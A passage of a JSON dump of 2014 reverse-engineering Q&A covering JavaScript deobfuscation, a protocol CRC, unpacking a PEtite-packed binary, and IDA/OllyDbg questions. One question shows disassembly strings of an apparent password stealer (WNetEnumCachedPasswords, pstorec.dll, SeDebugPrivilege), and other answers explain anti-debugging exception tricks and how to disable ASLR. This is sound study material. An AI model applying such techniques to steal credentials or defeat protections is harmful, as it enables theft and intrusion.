        "Body": "<p>I am having a obfuscated JS file and I want to deobfuscate it (and <em>not beautify it</em>). I have seen answer to a <a href=\"https://reverseengineering.stackexchange.com/questions/1436/analyzing-highly-obfuscated-javascript\">similar question here</a> and I tried de-obfuscating a the file using online version of JSUnpack and JSDetox. However, I am still not able to deobfuscate it. The JS file is not a malware but it is used to inject ads into web-page. So, any analyser analysing the file won't find anything malicious. The problem is that the JS stores (hex) strings in string array and using it to concatenate the code. JSDetox atleast decodes the string array in the beginning of the file. However, the readability is not improved anyway as the whole code makes use of the string array. If anyone wants to take a look at the file they can find it <a href=\"http://pastebin.com/vYSVe4KX\" rel=\"nofollow noreferrer\">here</a>.</p>\n\n<p>Any kind of help would be appreciated! Thanks.</p>\n\n<p><strong>Edit:</strong> I have also tried Malzilla now because I found a similar technique <a href=\"https://reverseengineering.stackexchange.com/questions/2103/try-to-deobfuscate-multi-layered-javascript?rq=1\">here</a>. However, the script probably has some errors which is tolerated by Chrome. However, when I click \"Run Script\" in Malzilla, I get a message saying \"Script cannot be compiled\". I tried to debug script using the \"Debug Script\" button, the window highlights some line saying \"InterYeildOptions is not defined\" and I don't know what to do about it. :-/</p>\n",
        "Title": "Deobfuscating a javascript file",
        "Tags": "|deobfuscation|javascript|",
        "Answer": "<p>Well, so, you can use <a href=\"http://jsbeautifier.org/\" rel=\"nofollow\">http://jsbeautifier.org/</a> with unescape printable chars to get the top var decoded, then, if you look closely, you should see  that the values of the var are used everywhere with an index, so you can just write a quick script to replace it with the actual value. End result is <a href=\"http://pastebin.com/iJqs6Jq3\" rel=\"nofollow\">here</a></p>\n\n<p>Python to replace the var:</p>\n\n<pre><code>#Replace.py //probably not optimized, so dont be too harsh on me\n_0x4b6a=[copy-pasteValueDecodedFromScript]\nwith open('EncodedScript.js') as fp:\n    for line in fp:\n        for i in range(0,608):\n            line = line.replace(\"_0x4b6a[\"+str(i)+\"]\", _0x4b6a[i])      \n        print line\n</code></pre>\n"
    },
    {
        "Id": "6338",
        "CreationDate": "2014-09-29T11:40:55.903",
        "Body": "<p>Hopper allows you to change the representation of numbers in the disassembly window so that:</p>\n\n<pre><code>0000be84         str        r3, [r11, #0xfffffff0]\n</code></pre>\n\n<p>becomes:</p>\n\n<pre><code>0000be84         str        r3, [r11, #-0x10]\n</code></pre>\n\n<p>This doesn't carry over into the decompiled code though:</p>\n\n<pre><code>r3 = *(r11 + 0xffffffffffffffd8);\n</code></pre>\n\n<p>Whilst it's not a major thing, it would be nice for the representation to be carried across.</p>\n\n<p>Can this be done?</p>\n",
        "Title": "Signed/unsigned representation of ints in decompiled code in Hopper",
        "Tags": "|decompilation|hopper|",
        "Answer": "<p>I don't think that this is possible now; feel free to open an issue on Hopper's <a href=\"http://www.hopperapp.com/bugtracker/\" rel=\"nofollow\">bugtracker</a>.</p>\n"
    },
    {
        "Id": "6342",
        "CreationDate": "2014-09-29T12:35:24.643",
        "Body": "<blockquote>\n  <p>(i've also posted this question on stackoverflow before i found out there was a specific stackexchange site for reverse engineering. My bad. Original post here: <a href=\"https://stackoverflow.com/questions/26095009/need-help-reverse-engineering-a-crc16\">https://stackoverflow.com/questions/26095009/need-help-reverse-engineering-a-crc16</a>)</p>\n</blockquote>\n\n<p>I'm trying to connect to the Safecom TA-810 (badge/registration system) to automate the process of calculating how long employee's have worked each day. Currently this is done by:</p>\n\n<ol>\n<li>Pulling the data into the official application</li>\n<li>Printing a list of all 'registrations'</li>\n<li>Manually entering the values from the printed lists into our HR application</li>\n</ol>\n\n<p>This is a job that can take multiple hours which we'd like to see automated. So far the official tech support has been disappointing and refused to share any details.</p>\n\n<p>Using wireshark I have been capturing the UDP transmissions and have pretty much succeeded in understanding how the protocol is built up. I'm only having issues with what i suppose is a CRC field. I don't know how it is calculated (CRC type and parameters) and using which fields ...</p>\n\n<p>This is how a message header looks like:</p>\n\n<pre><code>D0 07 71 BC BE 3B 00 00\n\nD0 07 - Message type\n71 BC - This i believe is the CRC\nBE 3B - Some kind of session identifier. Stays the same for every message after the initial message (initial message has '00 00' as value)\n00 00 - Message number. '01 00', '02 00', '03 00'\n</code></pre>\n\n<p>Some examples:</p>\n\n<pre><code>Header only examples\nE8 03 17 FC 00 00 00 00 -&gt; initial request (#0, no session nr)\nD0 07 71 BC BE 3B 00 00 -&gt; Initial response (#0, device sends a session nr)\n4C 04 EF BF BE 3B 06 00 -&gt; Message #6, still using the same session # as the initial response\n\nLarger example, which has data\n0B 00 07 E1 BE 3B 01 00 7E 45 78 74 65 6E 64 46 6D 74\n</code></pre>\n\n<p>I've also been trying to figure this out by reading the disassembled code from the original application. The screenshot below happens before the socket.sendto and seems to be related.</p>\n\n<p><img src=\"https://i.stack.imgur.com/Q8cqg.png\" alt=\"original application code\"></p>\n\n<p>Any help will be extremely appreciated.</p>\n\n<p><strong>EDIT</strong>: Made some success with debugging the application using ollydbg. The CRC appears in register (reversed) EDX at the selected line in the following screenshot.</p>\n\n<p><img src=\"https://i.stack.imgur.com/u0mTF.png\" alt=\"crc showing up\"></p>\n",
        "Title": "Safecom TA-810 protocol (having trouble with the CRC)",
        "Tags": "|ollydbg|protocol|",
        "Answer": "<p>I've managed to create a php script that does the CRC calculation by debugging the application using OllyDbg.</p>\n\n<p>The CRC is calculated by Adding up every 2 bytes (every short). if the result is larger than a short, the 'most significant short' is added to the 'least significant short' until the result fits in a short. Finally, the CRC (short) is inverted.</p>\n\n<p>I'll add my php script for completeness:</p>\n\n<pre><code>&lt;?php\nfunction CompareHash($telegram)\n{\n  $telegram = str_replace(\" \", \"\", $telegram);\n  $telegram_crc = substr($telegram, 4, 4);\n  $telegram = str_replace($telegram_crc, \"0000\", $telegram);\n\n  echo \"Telegram: \", $telegram, ', Crc: ', $telegram_crc, ' (', hexdec($telegram_crc), ')&lt;br /&gt;';\n\n  $crc = 0; \n  $i = 0;\n\n  while ($i &lt; strlen($telegram)) \n  {\n    $short = substr($telegram, $i, 4);\n\n    if (strlen($short) &lt; 4) $short = $short . '00';\n\n    $crc += hexdec($short);\n    $i += 4;\n  }\n\n  echo \"Crc: \", $crc, ', inverse: ', ~$crc;\n\n  // Region \"truncate CRC to Int16\"\n  while($crc &gt; hexdec('FFFF'))\n  {\n    $short = $crc &amp; hexdec ('FFFF');\n\n    // Region \"unsigned shift right by 16 bits\"\n    $crc = $crc &gt;&gt; 16;\n    $crc = $crc &amp; hexdec ('FFFF');\n    // End region\n\n    $crc =  $short + $crc;\n  }\n  // End region\n\n  // Region \"invert Int16\"\n  $crc = ~$crc;\n  $crc = $crc &amp; hexdec ('FFFF');\n  // End region\n\n  echo ', shifted ', $crc;\n\n  if (hexdec($telegram_crc) == $crc)\n  {\n    echo \"&lt;br /&gt;MATCH!!! &lt;br /&gt;\";\n  }\n  else\n  {\n    echo \"&lt;br /&gt;failed .... &lt;br /&gt;\";\n  }\n}\n\n$s1_full = \"E8 03 17 FC 00 00 00 00\";\n$s2_full = \"D0 07 71 BC BE 3B 00 00\";\n$s3_full = \"D0 07 4E D4 E1 23 00 00\";\n$s4_full = \"D0 07 35 32 BE 3B 07 00   7E 44 65 76 69 63 65  4E    61 6D 65 3D 54 41 38 31 30 00\";\n$s5_full = \"0B 00 39 6C BE 3B 05 00   7E 52 46 43 61 72 64  4F    6E\";\n\nCompareHash($s1_full);\nCompareHash($s2_full);\nCompareHash($s3_full);\nCompareHash($s4_full);\nCompareHash($s5_full);\n?&gt;\n</code></pre>\n\n<p>Thanks for the feedback!</p>\n"
    },
    {
        "Id": "6354",
        "CreationDate": "2014-10-01T12:54:21.337",
        "Body": "<p>I'm not sure if there are any legal hinderances to me asking this question, so if asking for unpacking advice is against the rules I apologize.</p>\n\n<p>I am new to reverse engineering and trying to manually unpack a PEtite 2.2/2.3 as a learning experience and have been trying to follow this guide: <a href=\"http://users.freenet.am/~softland/tutorials/Petite.v2.3.MUP.txt\" rel=\"nofollow noreferrer\">http://users.freenet.am/~softland/tutorials/Petite.v2.3.MUP.txt</a>. The program I'm unpacking is the original PEtite packer itself.</p>\n\n<p>I have disabled passing on exceptions as it feels like cheating and I haven't fully grasped how exceptions work in this context, seemingly used here to derail the debugger, so I'd like to know why and how to work around it myself. I've come to this part in the guide:</p>\n\n<pre><code>and this exception program generates for jumping to exception handler, so at that line put\nbreakpoint on exception handler (goto to 4164E3 and press F2), then press SHIFT+F9 and\nyou are at the beginning of exception handle\n</code></pre>\n\n<p>When using OllyDbg 1.10 (non-patched), this is what I find at the address of the exception handler (this address is also where Olly said the OEP would be when I tried out the auto-unpacker SFX ability):</p>\n\n<p><img src=\"https://i.stack.imgur.com/V6AAr.png\" alt=\"enter image description here\"></p>\n\n<p>In the guide it says that I should find the line <code>004164E3 CALL    PETGUI.00416537</code> here. As you can see there is really nothing here, however it was the address I always ended up at no matter the method I tried to use (or saw in tutorials etc.), so I did a process dump and suddenly I got this:</p>\n\n<p><img src=\"https://i.stack.imgur.com/zAa8k.png\" alt=\"enter image description here\"></p>\n\n<p>Now it struck me that since the program is self-modifying that might naturally confuse Olly, so I told Olly to re-analyze the code (before dumping the process), and I ended up with this:</p>\n\n<p><img src=\"https://i.stack.imgur.com/AcIbr.png\" alt=\"enter image description here\"></p>\n\n<p>I got the expected result, but there's something missing... the <code>CALL</code> instruction can be seen in the opcode section but it hasn't been parsed by Olly. Now to my questions:</p>\n\n<ol>\n<li>Why doesn't Olly parse this <code>CALL</code> instruction properly?</li>\n<li>How come <code>E8 4F000000</code> somehow magically becomes <code>CALL 416537</code>? I don't see any <code>416537</code> in the opcodes. Found this answered here, leaving it for reference: <a href=\"https://stackoverflow.com/questions/10376787/need-help-understanding-e8-asm-call-instruction-x86\">https://stackoverflow.com/questions/10376787/need-help-understanding-e8-asm-call-instruction-x86</a>.</li>\n<li>At the <code>MOVS</code> instruction where the exception is raised before ending up in the exception handler, if I press <code>Shift-F7</code> or <code>Shift-F8</code> to single-step instead of <code>Shift-F9</code> I somehow end up at 4E3137 which is full of <code>ADD BYTE PTR DS:[EAX], AL</code> instructions, presumably an area of filler instructions that will later be overwritten. How come I ended up here? If I try to keep stepping I'm told <code>EIP</code> is set to <code>00000000</code> and can't proceed. This seems to be the case whenever I choose to exception-single step; errors show up that would be smoothly ignored if I had just used <code>Shift-F9</code>.</li>\n</ol>\n\n<p>I have the same problem in OllyDbg 2.01 aswell.</p>\n",
        "Title": "Why doesn't Olly's analyzation work properly in this code section?",
        "Tags": "|ollydbg|unpacking|",
        "Answer": "<p>Because the code at 0x4164e3 is never referenced in a CALL or JMP instruction, but (probably) used as data somewhere else (as you said the program is self-modifying), Olly thinks it's data, and has no reason to assume there's code there. See <a href=\"https://stackoverflow.com/questions/13812554/in-ollydbg-how-do-you-force-hint-disassembly-at-a-location\">https://stackoverflow.com/questions/13812554/in-ollydbg-how-do-you-force-hint-disassembly-at-a-location</a> for how to make sure olly treats that address as code.</p>\n\n<p>(In case the link goes away: Right Click -> Analysis -> During Next analysis, treat selection as -> Command, Or at least \"remove analysis from section\" to tell olly NOT to assume data.)</p>\n\n<p>The problem with single-stepping exception handlers is: If you do any kind of single-stepping, the debugger will place a breakpoint at the next instruction, execute the code at the current instruction, and hope for the breakpoint to return control to the debugger. However, the exception will call the exception handler, but the debugger doesn't even know the instruction is going to raise an exception, so it can't put the breakpoint at the exception handler's address. So, your single-step executes the exception handler (without returning to the debugger), which probably checks for the breakpoint after the instruction it came from (to actively detect a debugger) and, if it detects a debugger, jumps to \"nowhere\" to make the program crash/confuse the debugger user.</p>\n\n<p>There are lots of explanations on the internet that are more thorough than what i could write in a short answer, googling for \"exception handler single step\" brings up a few nice examples.</p>\n"
    },
    {
        "Id": "6356",
        "CreationDate": "2014-10-01T15:20:57.683",
        "Body": "<p>Today I saw a command line option in the output of <strong>otool</strong> (this is a MacOS X program, offering similar functionality as <code>objdump</code>) that is named:  </p>\n\n<pre><code>-f -- print the fat headers\n</code></pre>\n\n<p>So, what are the <strong>fat headers</strong> ?  </p>\n\n<p>I tried to Google '<em>fat headers</em>' and '<em>fat headers elf</em>' but didn't find anything useful.  </p>\n",
        "Title": "What is a FAT header?",
        "Tags": "|tools|",
        "Answer": "<p>A fat header is the header of a fat binary.</p>\n\n<p>See <a href=\"http://books.google.com/books?id=K8vUkpOXhN4C&amp;pg=PA67\" rel=\"noreferrer\">pages 67-68 in <em>Mac OS X Internals</em></a>:</p>\n\n<blockquote>\n  <p>Note that a fat binary is essentially a <em>wrapper</em>\u2014a simple archive that\n  concatenates Mach-O files for multiple architectures. A fat binary\n  begins with a fat header (<code>struct fat_header</code>) that contains a magic number followed by an integral value representing the number of architectures whose binaries reside in the fat binary.</p>\n  \n  <p>...</p>\n  \n  <p><img src=\"https://i.stack.imgur.com/XhELz.png\" alt=\"fat header\"></p>\n</blockquote>\n"
    },
    {
        "Id": "6358",
        "CreationDate": "2014-10-01T16:18:50.690",
        "Body": "<p>I have read about <a href=\"https://reverseengineering.stackexchange.com/questions/1436/analyzing-highly-obfuscated-javascript?lq=1\">de-obfuscating JS files</a> and about <a href=\"https://reverseengineering.stackexchange.com/questions/2103/try-to-deobfuscate-multi-layered-javascript?lq=1\">multi-layered obfuscation</a>. I have come across a file (which I have uploaded <a href=\"http://pastebin.com/2GUWbLsY\" rel=\"nofollow noreferrer\">here</a>) and it doesn't seem to be obfuscated except for lines 21 and 42. I there seems to be some HTML components on those lines but when I tried using JSBeautifier and JSDetox on it, it doesn't help. </p>\n\n<ol>\n<li><p>Have any of the reverse engineers come across this type of obfuscation? if yes, how is it done?</p></li>\n<li><p>Is thereany way to de-obfuscate it?</p></li>\n</ol>\n",
        "Title": "What kind of JS obfuscation is this?",
        "Tags": "|obfuscation|deobfuscation|javascript|",
        "Answer": "<p>This is dean edwards' js packer : <a href=\"http://dean.edwards.name/packer/\" rel=\"nofollow\">http://dean.edwards.name/packer/</a>. I see it quite frequently being used to obfuscate scripts as it is freely available. It's written in Javascript but there are also versions in other langages on the site.</p>\n\n<p>By the way the Decode button and text area is only disabled via HTML attributes, so you can reenable them using The Developer Tools in Google Chrome for example :) Here are the 2 decoded scripts from your sample :</p>\n\n<p><a href=\"http://pastebin.com/duWWwWuQ\" rel=\"nofollow\">http://pastebin.com/duWWwWuQ</a>\n<a href=\"http://pastebin.com/VUaivSVk\" rel=\"nofollow\">http://pastebin.com/VUaivSVk</a></p>\n"
    },
    {
        "Id": "6361",
        "CreationDate": "2014-10-01T21:29:39.807",
        "Body": "<p>I have this small subroutine (from Hopper, but IDA is similar):</p>\n\n<pre><code>             sub_stringbegin:\n000127b8         push       {r11, lr}                                          \n000127bc         add        r11, sp, #0x4\n000127c0         sub        sp, sp, #0x8\n000127c4         str        r0, [r11, #-0x8]\n000127c8         ldr        r0, [r11, #-0x8]\n000127cc         bl         _ZNSs5beginEv@PLT                                   \n000127d0         mov        r3, r0\n000127d4         mov        r0, r3\n000127d8         sub        sp, r11, #0x4\n000127dc         pop        {r11, pc}\n                        ; endp\n</code></pre>\n\n<p>The parameter is passed to this in r0.</p>\n\n<p>Why is this stored into the stack frame then immediately read out? It seems wasteful.</p>\n\n<p>I understand that r0-r3 aren't preserved in the ARM calling convention, but in that instance it would be sufficient to either just store it in the stack frame or pop it onto the stack.</p>\n\n<p>Similarly, moving r0 into r3 and back again seems wasteful after the branch.</p>\n\n<p>This is a ELF executable from a Busybox system. </p>\n",
        "Title": "Why does this ARM subroutine put a parameter into the stack frame and take it straight back out?",
        "Tags": "|disassembly|arm|",
        "Answer": "<p>This is a straightforward translation of </p>\n\n<pre><code>x = foo;\ndoSomething(x);\n</code></pre>\n\n<p>An optimization pass would have realized that <code>x</code> was still in <code>r0</code> here. Presumably optimizations were turned off.</p>\n\n<p>By the way, it's not <em>that</em> wasteful, as the memory location in question will still be in L1 cache.</p>\n"
    },
    {
        "Id": "6368",
        "CreationDate": "2014-10-03T15:04:15.470",
        "Body": "<p>I have the following two lines:</p>\n\n<pre><code>  ....\n  push 401150h\n  call sub_401253\n  ....\n</code></pre>\n\n<p>So, when I click on <strong>push 401150h</strong> IDA PRO shows:</p>\n\n<pre><code>  seg0001 : 00401120 dword_401120  dd  6F662F3Ch, 3C3E746Eh, 3E702Fh, 253A4E52h, 54522073h\n  dd 2073253Ah, 73253A55h, 253A5020h, 656C774h, 616223Dh, 72676B63h, 646E756Fh\n  dd 0D73h, 7320703Ch, 335504h, 7265464h, 5484531h 55E4ADEh, A585B5448h, \n  .....(and so on)\n</code></pre>\n\n<p>So, my first question would be : what is this? what it can be?</p>\n\n<p>My own results: that thing which I mentioned above is a string because in the function sub_401253 they copy it using lstrcpy() into a buffer:</p>\n\n<pre><code> ...\n lea eax, [esp+1FC + Buffer]\n ...\n mov edi, [esp+208+arg_0]\n push edi, \n push eax, \n call lstrcpy\n ...\n</code></pre>\n\n<p>After that, in a next block the content of the buffer(which are the hexadecimal numbers now) is XORed in a loop. I assume that they encrypt or decrypt it (but that is not so importan for me right now.)</p>\n\n<p>I only want to know what IDA PRO try to depict with <strong>push 401150h</strong> which represents the hexadecimal numbers.\nThats it. I hope you can help me.</p>\n\n<p>best regards,</p>\n",
        "Title": "PUSHing a lot of hexadecimal numbers",
        "Tags": "|ida|assembly|hexadecimal|",
        "Answer": "<p>The data at <code>00401120</code> is ASCII-encoded text:</p>\n\n<pre><code>3C 2F 66 6F 6E 74 3E 3C 2F 70 3E 00 52 4E 3A 25        &lt;/font&gt;&lt;/p&gt;.RN:%\n73 20 52 54 3A 25 73 20 55 3A 25 73 20 50 3A 25        s RT:%s U:%s P:%\n77 6C 65 00 3D 22 62 61 63 6B 67 72 6F 75 6E 64        wle.=\"background\n73 0D 00 00                                            s...\n</code></pre>\n\n<p>You can tell IDA to decode those bytes as text by clicking on the data at <code>00401120</code> and pressing the <kbd>A</kbd> key</p>\n"
    },
    {
        "Id": "6371",
        "CreationDate": "2014-10-04T10:23:46.430",
        "Body": "<p>I have the following line (I use IDA PRO) :</p>\n\n<pre><code>   ...\n   push (offset aPstorec_dllwne+0Ch)      ; lpProcName\n   push esi                               ; hModule\n   call GetProcAddress_0\n   ...\n</code></pre>\n\n<p>When I click on <strong>(offset aPstorec_dllwne+0Ch)</strong> I use:</p>\n\n<pre><code>   seg001:004012F0 ; char aPstorec_dllwne[] \n                   aPstorec_dllwne db 'pstorec.dll, 0 , 'WNetEnumCachedPasswords', \n                   0 , 'MPR.DLL' , 0 , 'SeDebugPrivilege', 0 , 0 , 0 , 0\n</code></pre>\n\n<p>So my question is: \nHow should I read it to get the info which process is meant? I know that each field of an array is 4 byte and the <strong>db</strong> at the beginning indicates that.\nBut when I count from zero, I come to the 0 after WNetEnumCachedPasswords. It is wrong, right?</p>\n\n<p>best regards</p>\n",
        "Title": "Using GetProcAddress with offset syntax",
        "Tags": "|assembly|array|offset|process|call|",
        "Answer": "<p>If you run across an API call that you're unfamiliar with, check the <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx\" rel=\"nofollow\">MSDN page</a>. Parameter 2 is \"The function or variable name, or the function's ordinal value.\" Looking at your offset only one of those things is a function name, WNetEnumCachedPasswords.</p>\n\n<p>You can verify this as the comment in your post said, by counting 12 (0xc) bytes from aPstorec_dllwne. db stands for databyte and you can also see that \"char aPstorec_dllwne[]\" designates a character array, also 1 byte per element.</p>\n"
    },
    {
        "Id": "6376",
        "CreationDate": "2014-10-04T12:31:02.597",
        "Body": "<p>My program loads and unloads a DLL of main interest at runtime.\nI try to add comments and labels to the DLLs code, but when it is unloaded and loaded again, they are gone, as the DLL is rebased most of the time.</p>\n\n<p>I'm in search for an OllyDbg plugin to preserve the comments and labels when a DLL gets rebased (for Olly 1, but this task is that important that I'd also switch to Olly 2 if there is a plugin only for 2).</p>\n\n<ul>\n<li>I tried <a href=\"http://www.openrce.org/downloads/details/107/Labelmaster\" rel=\"nofollow\">Labelmaster</a>, it can export and import comments and labels into text files. But the addresses in the textfiles are completely static and do not respect rebased DLLs.</li>\n<li>A forum user <a href=\"http://www.blizzhackers.cc/viewtopic.php?f=71&amp;t=310891&amp;start=0\" rel=\"nofollow\">posted a plugin named \"Dynamic Debugging\"</a> which would solve my problems as it can load stored comments and labels with a base address I can manually specify. However, the thread is from 2006, and the download cannot be found on the net anymore, not even in archives.</li>\n</ul>\n\n<p>Anyone knowing a plugin or still having the \"Dynamic Debugging\" plugin?</p>\n",
        "Title": "OllyDbg: Keep comments & labels in rebased DLL",
        "Tags": "|ollydbg|binary-analysis|",
        "Answer": "<p>OllyDbg2 supports this.</p>\n<hr />\n<p>Another possibility of forcing ASLR off to get the same bases every time a DLL is loaded did not work for me. For those who want to try it: Start a Visual Studio Developer prompt (yeah, you'd need VS) and type in</p>\n<pre><code>editbin /DYNAMICBASE:NO C:\\Game\\game.exe\n</code></pre>\n<p>It should modify the PE header to disable ASLR in that executable and all DLLs it loads. But as said, it had no effect for me.</p>\n"
    },
    {
        "Id": "6377",
        "CreationDate": "2014-10-04T13:18:23.310",
        "Body": "<p>In an application I'm analyzing, there's a global variable whose purpose/role in the program is known to me. I'd like to rename it, but for some reason I cannot.</p>\n\n<p>The assembly code:</p>\n\n<pre><code>.text:00537E90                 mov     edx, ds:1C968D8h\n.text:00537E96                 mov     [eax], edx\n.text:00537E98                 mov     ds:1C968D8h, eax\n</code></pre>\n\n<p>If I position the cursor on the address (<code>ds:1C968D8h</code>) and try to jump (using Enter), IDA will complain <code>Command \"JumpEnter\" failed</code>. Attempting to rename it with the N hotkey will cause IDA to place a label at that address rather than rename the variable as intended.</p>\n\n<p>While I'm doing this for educational purposes, this is a proprietary application, so I don't have the source code.</p>\n\n<p>I've checked Chris Eagle's \"The IDA Pro Book\", but there seems to be nothing on the subject in there.</p>\n\n<p>Help is greatly appreciated.</p>\n",
        "Title": "IDA - cannot rename or jump to a global variable",
        "Tags": "|ida|",
        "Answer": "<p>One thing that I've failed to notice turned out to be crucial: this file wasn't generated by my copy of IDA, it was given to me by a friend as a helping resource. I've simply disassembled the very same exe with my IDA and the troublesome address is now correct:</p>\n\n<p><img src=\"https://i.stack.imgur.com/i2Y5o.png\" alt=\"enter image description here\"></p>\n\n<p><img src=\"https://i.stack.imgur.com/fK3Bo.png\" alt=\"http://i.imgur.com/AzHGbT1.png\"></p>\n"
    },
    {
        "Id": "6381",
        "CreationDate": "2014-10-05T10:09:09.287",
        "Body": "<p>I am working on some ARM disassembly. A file is being operated on:</p>\n\n<pre><code>0000e550  sub  r3, r11, #0x2d0\n0000e554  mov  r0, r3        ; /tmp/MAC\n0000e558  ldr  r1, = 0x9a60c ; 0xec04 (sub_e3a8 + 0x85c)\n0000e55c  mov  r2, #0x8      ; std::basic_fstream&lt;char,std::char_traits&lt;char&gt;&gt;::basic_fstream(char const*,std::_Ios_Openmode)\n0000e560  bl   _ZNSt13basic_fstreamIcSt11char_traitsIcEEC1EPKcSt13_Ios_Openmode@PLT ; std::basic_fstream&lt;char, std::char_traits&lt;char&gt; &gt;::basic_fstream(char const*, std::_Ios_Openmode)\n</code></pre>\n\n<p><code>r0</code> is \"<code>this</code>\", <code>r1</code> is the path (<code>/tmp/MAC</code>) and <code>r2</code> is the mode. As can be seen, the mode is <code>0x8</code>. </p>\n\n<p>The mode is \"implementation defined\" according to <a href=\"http://en.cppreference.com/w/cpp/io/ios_base/openmode\" rel=\"nofollow\">several sources</a>. I haven't got specifics of the implementation unfortunately. </p>\n\n<p>What is the typical implementation of this on ARM ?</p>\n",
        "Title": "How do I map the std::_Ios_Openmode passed to basic_fstream to an actual value?",
        "Tags": "|disassembly|c++|arm|",
        "Answer": "<p>You should try to find out which compiler/library is being used, then check the specs of that compiler.</p>\n\n<p>Assuming it's <code>gcc</code> with <code>libstdc++</code> (this is quite probable if you're on android; less probable on Windows RT), googling for \"gcc libstd ios_base openmode\" yields <a href=\"https://gcc.gnu.org/onlinedocs/libstdc++/libstdc++-api-4.5/a00504.html\" rel=\"nofollow\">https://gcc.gnu.org/onlinedocs/libstdc++/libstdc++-api-4.5/a00504.html</a>, which tells it's defined in ios_base.h. Navigating there, you can find </p>\n\n<pre><code>00112   enum _Ios_Openmode \n00113     { \n00114       _S_app        = 1L &lt;&lt; 0,\n00115       _S_ate        = 1L &lt;&lt; 1,\n00116       _S_bin        = 1L &lt;&lt; 2,\n00117       _S_in         = 1L &lt;&lt; 3,\n00118       _S_out        = 1L &lt;&lt; 4,\n00119       _S_trunc      = 1L &lt;&lt; 5,\n00120       _S_ios_openmode_end = 1L &lt;&lt; 16 \n00121     };\n</code></pre>\n\n<p>and</p>\n\n<pre><code>static const openmode in =      _S_in;\n</code></pre>\n\n<p>so the open mode is probably <code>in</code>.</p>\n\n<p>But, unless you find out which compiler was used, this a guess, and we can only help you guessing.</p>\n"
    },
    {
        "Id": "6384",
        "CreationDate": "2014-10-05T15:32:39.120",
        "Body": "<p>I working with ARM executable.\nSometimes I have something like this <code>MOV</code> instruction:</p>\n<pre><code>MOV R0, #0xCD548A40\n</code></pre>\n<p>where the number <code>#0xCD548A40</code> is a valid offset but IDA doesn't recognize it as such automatically.\nI tried to reanalyze the executable with enabled option &quot;<em>Automatically convert data to offsets</em>&quot; without of any suitable result.\nI also tried to write IDAPython script to fix this, but the only possibility of conversion to offset that I found was:</p>\n<pre><code>idaapi.jumpto(address)\nidaapi.process_ui_action(&quot;OpOffset&quot;, 0)\n</code></pre>\n<p>Which is not too much convenient to use.</p>\n<h2>Question</h2>\n<blockquote>\n<p>Given an instruction at specific address and one of its operands in a valid offset range is it possible to convert such numbers to offsets using IDA Python ?</p>\n<p>Which IDAPython API should I use for it ?</p>\n</blockquote>\n",
        "Title": "Making operand an offset in IDA Python",
        "Tags": "|idapython|",
        "Answer": "<p>I happen to just run into this exact issue.</p>\n\n<p>Here's what I did. Replace the <code>for</code> bits with the <code>if</code> bits to just test it on a small bit.</p>\n\n<pre><code>from idautils import *\nfrom idaapi import *\nfrom idc import *\n\n#if True:\n#    if True:\n#        if True:\n#            startea = 0x0F9109DC\n#            endea = 0x0F9109F\nfor segea in Segments():\n    for funcea in Functions(segea, SegEnd(segea)):\n        functionName = GetFunctionName(funcea)\n        for (startea, endea) in Chunks(funcea):\n            for ea in Heads(startea, endea):\n                if idc.GetMnem(ea) != \"MOV\" or idc.get_operand_type(ea, 1) != 5 or  idc.get_str_type(idc.get_operand_value(ea, 1)) != 0:\n                    continue\n                print \"0x%08x\"%(ea), \":\", idc.GetOpnd(ea, 1), idc.get_operand_type(ea, 1)\n                idc.op_plain_offset(ea,1,0)\n</code></pre>\n\n<p>```</p>\n"
    },
    {
        "Id": "6390",
        "CreationDate": "2014-10-06T21:04:56.960",
        "Body": "<p>I want to be able to monitor when a memory address is read from on Android. The binary I am studying stores around 60 bytes to a memory location during initialisation and this buffer is used at some later point. My problem is that I can't seem to find where this is accessed by static analysis and would like to set a breakpoint so that I can track its access during runtime.</p>\n",
        "Title": "Break on memory access on Android",
        "Tags": "|ida|memory|android|",
        "Answer": "<p>If the memory address is constant you can attach to the process and use the awatch command on GDB to monitor it. If it's not static you can break on the offending malloc call and set the bp there.</p>\n"
    },
    {
        "Id": "6398",
        "CreationDate": "2014-10-07T20:17:51.937",
        "Body": "<p>I recently switched from OllyDbg 1 to 2, and I'm really missing a feature the plugin \"LabelArgs\" provided to me in OllyDbg 1.</p>\n\n<p>Labels were extended in a way it was possible to name the first instruction of an obvious functions like \"WriteToLog(int portOrOther, string title, string category, string text, int severity)\". In the disassembly, calls to the functions then appeared visually like calls to known WinAPI methods, for example:\n<img src=\"https://i.stack.imgur.com/jYRep.png\" alt=\"enter image description here\"></p>\n\n<p>In OllyDbg 2 it looks like:\n<img src=\"https://i.stack.imgur.com/VDgLt.png\" alt=\"enter image description here\"></p>\n\n<p>Sadly strings are not directly seen anymore, but it helped me much more seeing when pushes are about to be method parameters.</p>\n\n<p>Is there an OllyDbg 2 compatible plugin providing me this feature?</p>\n",
        "Title": "OllyDbg 2: Providing label arguments?",
        "Tags": "|ollydbg|",
        "Answer": "<p>Since the original LabelArgs plugin was open source, I ported it to OllyDbg 2. It should have the same functionality as the original LabelArgs plugin, feel free to improve on it.</p>\n\n<p>Link to the repository:\n<a href=\"https://bitbucket.org/mrexodia/labelargs\" rel=\"nofollow\">https://bitbucket.org/mrexodia/labelargs</a></p>\n\n<p>Binaries:\n<a href=\"https://bitbucket.org/mrexodia/labelargs/downloads\" rel=\"nofollow\">https://bitbucket.org/mrexodia/labelargs/downloads</a></p>\n"
    },
    {
        "Id": "6399",
        "CreationDate": "2014-10-07T21:05:36.727",
        "Body": "<p>I am using IDA pro to decompile a series of applications.  These applications share a common feature and what I have found is that in each decompilation each application shares the same set of functions.  If the binary is stripped how does IDA pro work out the function names ?  </p>\n\n<p>The functions that I am seeing in common between the applications are all very abstract, for example <code>v404()</code>, and as far as I can work out don't come from any open source library set of functions.</p>\n",
        "Title": "How does IDA pro generate function names?",
        "Tags": "|ida|decompilation|functions|symbols|debugging-symbols|",
        "Answer": "<p>I've seen 4 naming conventions being used: </p>\n\n<ul>\n<li>vNNN() when decompiling ARM binaries (i.e.: Android JNI code) - not sure how it numbers them as it doesn't seem it's related to their position or address within the binary.</li>\n<li>sub_HHHHHH() when decompiling x86/64 binaries (i.e.: for Windows, OSX) with the actual address on the name</li>\n<li>_name/__name() for functions IDA is able to identify via its FLIRT algorithm</li>\n<li>finally the clear names for functions it has enough information on the binaries to reverse as they were named originally.</li>\n</ul>\n"
    },
    {
        "Id": "6400",
        "CreationDate": "2014-10-07T22:04:20.413",
